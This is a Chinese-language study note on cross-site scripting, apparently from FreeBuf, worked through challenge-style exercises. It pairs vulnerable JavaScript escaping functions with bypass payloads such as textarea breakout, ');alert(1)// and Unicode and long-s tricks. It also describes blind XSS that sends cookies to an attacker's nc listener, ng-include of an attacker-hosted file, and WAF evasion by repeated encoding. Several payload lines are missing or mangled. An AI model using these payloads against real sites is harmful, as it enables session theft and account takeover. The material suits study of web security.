0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
XSS注入
一、XSS(DOM型)
用户输入参数,然后前端给你处理,处理的结果反馈到页面,所以需要分析源代码中它的处理js
1)XSS盲打(插入的界面自己看不到只有管理员可以看)
配合nc抓cookie
盲插入(目前还没学到好方法)
二、XSS(反射型)
三、XSS(储存型)
1) 或者
2)
前端只有后闭合无意义
<textarea></textarea><script>alert(1)</script></textarea>
3)<input type="name" value="' + input + '”>留有>或之类的“>给一个标签就行
使img标签生效(正常或保错)需要src 如
onerror=alert(1)可以不加引号
<input type="name" value="' + input + '"><script>alert(1)</script><img ">
4)屏蔽()‘
将后面的Unicode 解码
屏蔽
把文件名改为ABC.JS URL不大小写敏感
function render (input) {
input = input.replace(/script/ig, '')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
双写绕过加ABC.JS
function render (input) {
input = input.replace(/[</"']/g, '') 屏蔽所有/ " ' <
return `
<script>
// alert('${input}')
</script>
`
}
换了一行
alert(1)
--> 将“)注释掉
11)把所有ſ(长s)s的一种变体可以用(用wiki查s)
12)绕过log
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
return `<img src onerror="console.error('${escapeHtml(input)}')">`
}
');alert(1)// ;是js语句分隔
13)斜杠转义
// from alf.nu
function escape (s) {
s = s.replace(/"/g, '\\"')
return '<script>console.log("' + s + '");</script>'
}
");alert(1)/ 第一个\转义\
function render (s) {
function escapeJs (s) {
return String(s)
.replace(/\\/g, '\\\\')
.replace(/'/g, '\\\'')
.replace(/"/g, '\\"')
.replace(/`/g, '\\`')
.replace(/</g, '\\74')
.replace(/>/g, '\\76')
.replace(/\//g, '\\/')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t')
.replace(/\f/g, '\\f')
.replace(/\v/g, '\\v')
// .replace(/\b/g, '\\b')
.replace(/\0/g, '\\0')
}
s = escapeJs(s)
return `
<script>
var url = 'javascript:console.log("${s}")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
`
}
\");alert(1)// 将他干成偶数个\
");alert(1)// 可行
配合nc使用 hacker nc -lvp 4444 website 获得cookie
要用img需要声明变量 然后a随便填因为黑客端未要求get的关键字escape是编码(cookie本身编码过不会在被编码,这里编码特殊符号之类的)
14)ng-include包含外部文件形成嵌套页面
ng-include=’show_xss.php’ show_xss.php 是hacker的含有xss的php 1)src=’xxxx’
防火墙绕过
编码多次去判断防火墙解码几次
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)